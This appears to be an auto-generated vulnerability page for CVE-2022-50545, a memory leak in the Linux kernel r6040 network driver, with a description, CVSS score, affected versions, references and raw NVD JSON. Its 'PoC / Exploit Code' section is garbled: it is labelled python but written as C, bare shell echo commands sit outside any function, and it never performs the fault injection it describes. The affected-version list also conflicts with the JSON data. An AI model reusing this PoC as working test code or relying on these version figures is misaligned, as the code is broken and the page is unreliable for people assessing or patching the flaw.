CVE-2022-50545

Description

In the Linux kernel, the following vulnerability has been resolved: r6040: Fix kmemleak in probe and remove There is a memory leaks reported by kmemleak: unreferenced object 0xffff888116111000 (size 2048): comm "modprobe", pid 817, jiffies 4294759745 (age 76.502s) hex dump (first 32 bytes): 00 c4 0a 04 81 88 ff ff 08 10 11 16 81 88 ff ff ................ 08 10 11 16 81 88 ff ff 00 00 00 00 00 00 00 00 ................ backtrace: [<ffffffff815bcd82>] kmalloc_trace+0x22/0x60 [<ffffffff827e20ee>] phy_device_create+0x4e/0x90 [<ffffffff827e6072>] get_phy_device+0xd2/0x220 [<ffffffff827e7844>] mdiobus_scan+0xa4/0x2e0 [<ffffffff827e8be2>] __mdiobus_register+0x482/0x8b0 [<ffffffffa01f5d24>] r6040_init_one+0x714/0xd2c [r6040] ... The problem occurs in probe process as follows: r6040_init_one: mdiobus_register mdiobus_scan <- alloc and register phy_device, the reference count of phy_device is 3 r6040_mii_probe phy_connect <- connect to the first phy_device, so the reference count of the first phy_device is 4, others are 3 register_netdev <- fault inject succeeded, goto error handling path // error handling path err_out_mdio_unregister: mdiobus_unregister(lp->mii_bus); err_out_mdio: mdiobus_free(lp->mii_bus); <- the reference count of the first phy_device is 1, it is not released and other phy_devices are released // similarly, the remove process also has the same problem The root cause is traced to the phy_device is not disconnected when removes one r6040 device in r6040_remove_one() or on error handling path after r6040_mii probed successfully. In r6040_mii_probe(), a net ethernet device is connected to the first PHY device of mii_bus, in order to notify the connected driver when the link status changes, which is the default behavior of the PHY infrastructure to handle everything. Therefore the phy_device should be disconnected when removes one r6040 device or on error handling path. Fix it by adding phy_disconnect() when removes one r6040 device or on error handling path after r6040_mii probed successfully.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux kernel < 4.9.337

Linux kernel 4.14.x < 4.14.303

Linux kernel 4.19.x < 4.19.270

Linux kernel 5.4.x < 5.4.229

Linux kernel 5.10.x < 5.10.165

Linux kernel 5.15.x < 5.15.93

Linux kernel 5.19.x < 5.19.11

Linux kernel 6.0.x < 6.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Trigger kmemleak detection for CVE-2022-50545
// This PoC demonstrates how to trigger the memory leak by repeatedly
// probing and removing the r6040 network driver with fault injection.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

// Step 1: Enable kmemleak scanning
echo 1 > /sys/kernel/debug/kmemleak  // not standard path, may vary

// Step 2: Enable fault injection for mdiobus_register
// Using Linux kernel fault injection framework
echo 1 > /sys/kernel/debug/failslab/ignore-gfp-wait
echo 100 > /sys/kernel/debug/failslab/probability
echo 100 > /sys/kernel/debug/failslab/interval
echo 1 > /sys/kernel/debug/failslab/times

// Step 3: Simulate probe and remove cycle of r6040 driver
// This requires a system with r6040 hardware or a virtual environment
int main() {
    printf("Triggering CVE-2022-50545 memory leak...\n");

    // Load r6040 module (requires root privileges)
    system("modprobe r6040");

    // Wait for probe to complete
    sleep(1);

    // Remove r6040 module - this triggers the remove path
    system("modprobe -r r6040");

    // Check kmemleak for leaked objects
    system("cat /sys/kernel/debug/kmemleak | grep -A 20 'r6040'");

    printf("Check dmesg for kmemleak warnings\n");
    system("dmesg | grep -i kmemleak");

    return 0;
}

// Alternative: Use the Linux kernel's fault injection with a custom trigger
// The fault should be injected after r6040_mii_probe() succeeds
// but before register_netdev() completes, causing the error handling
// path to be taken without proper phy_disconnect() call.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2022-50545
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2022-50545
[3] CVE Details https://www.cvedetails.com/cve/CVE-2022-50545/
[4] VulDB https://vuldb.com/cve/CVE-2022-50545
[5] https://git.kernel.org/stable/c/2ce242e1b9ad31c1f68496b3548e407a8cb2c07d
[6] https://git.kernel.org/stable/c/3d5f83a62e8235d235534b3dc6f197d8a822c269
[7] https://git.kernel.org/stable/c/5944c25c67de54e0aa53623e1e1af3bf8b16ed44
[8] https://git.kernel.org/stable/c/7e43039a49c2da45edc1d9d7c9ede4003ab45a5f
[9] https://git.kernel.org/stable/c/9b5b50329e2e966831a7237dd6949e7b5362a49a
[10] https://git.kernel.org/stable/c/a04707f4596952049da05756c27398c34d9a1d36
[11] https://git.kernel.org/stable/c/ad2c8f25457ca9a81e7e958148cbc26600ce3071
[12] https://git.kernel.org/stable/c/b0a61359026b57a287a48fbb4ba1d097023eca3e
[13] https://git.kernel.org/stable/c/b4448816e6a565e08236a6009c6bf48c6836cdfd

Raw JSON Data

JSON

{"cve": {"id": "CVE-2022-50545", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:38.943", "lastModified": "2026-02-26T23:17:18.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nr6040: Fix kmemleak in probe and remove\n\nThere is a memory leaks reported by kmemleak:\n\n unreferenced object 0xffff888116111000 (size 2048):\n comm \"modprobe\", pid 817, jiffies 4294759745 (age 76.502s)\n hex dump (first 32 bytes):\n 00 c4 0a 04 81 88 ff ff 08 10 11 16 81 88 ff ff ................\n 08 10 11 16 81 88 ff ff 00 00 00 00 00 00 00 00 ................\n backtrace:\n [<ffffffff815bcd82>] kmalloc_trace+0x22/0x60\n [<ffffffff827e20ee>] phy_device_create+0x4e/0x90\n [<ffffffff827e6072>] get_phy_device+0xd2/0x220\n [<ffffffff827e7844>] mdiobus_scan+0xa4/0x2e0\n [<ffffffff827e8be2>] __mdiobus_register+0x482/0x8b0\n [<ffffffffa01f5d24>] r6040_init_one+0x714/0xd2c [r6040]\n ...\n\nThe problem occurs in probe process as follows:\n r6040_init_one:\n mdiobus_register\n mdiobus_scan <- alloc and register phy_device,\n the reference count of phy_device is 3\n r6040_mii_probe\n phy_connect <- connect to the first phy_device,\n so the reference count of the first\n phy_device is 4, others are 3\n register_netdev <- fault inject succeeded, goto error handling path\n\n // error handling path\n err_out_mdio_unregister:\n mdiobus_unregister(lp->mii_bus);\n err_out_mdio:\n mdiobus_free(lp->mii_bus); <- the reference count of the first\n phy_device is 1, it is not released\n and other phy_devices are released\n // similarly, the remove process also has the same problem\n\nThe root cause is traced to the phy_device is not disconnected when\nremoves one r6040 device in r6040_remove_one() or on error handling path\nafter r6040_mii probed successfully. In r6040_mii_probe(), a net ethernet\ndevice is connected to the first PHY device of mii_bus, in order to\nnotify the connected driver when the link status changes, which is the\ndefault behavior of the PHY infrastructure to handle everything.\nTherefore the phy_device should be disconnected when removes one r6040\ndevice or on error handling path.\n\nFix it by adding phy_disconnect() when removes one r6040 device or on\nerror handling path after r6040_mii probed successfully."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.36", "versionEndExcluding": "4.9.337", "matchCriteriaId": "12C52BFD-7A9B-4A05-8683-2D245EBF2ACF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.303", "matchCriteriaId": "1E7450AD-4739-46F0-B81B-C02E7B35A97B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.270", "matchCriteriaId": "AE8904A3-99BE-4E49-9682-1F90A6373F4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.229", "matchCriteriaId": "A0C0D95E-414A-445E-941B-3EF6A4D3A093"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "refe ... (truncated)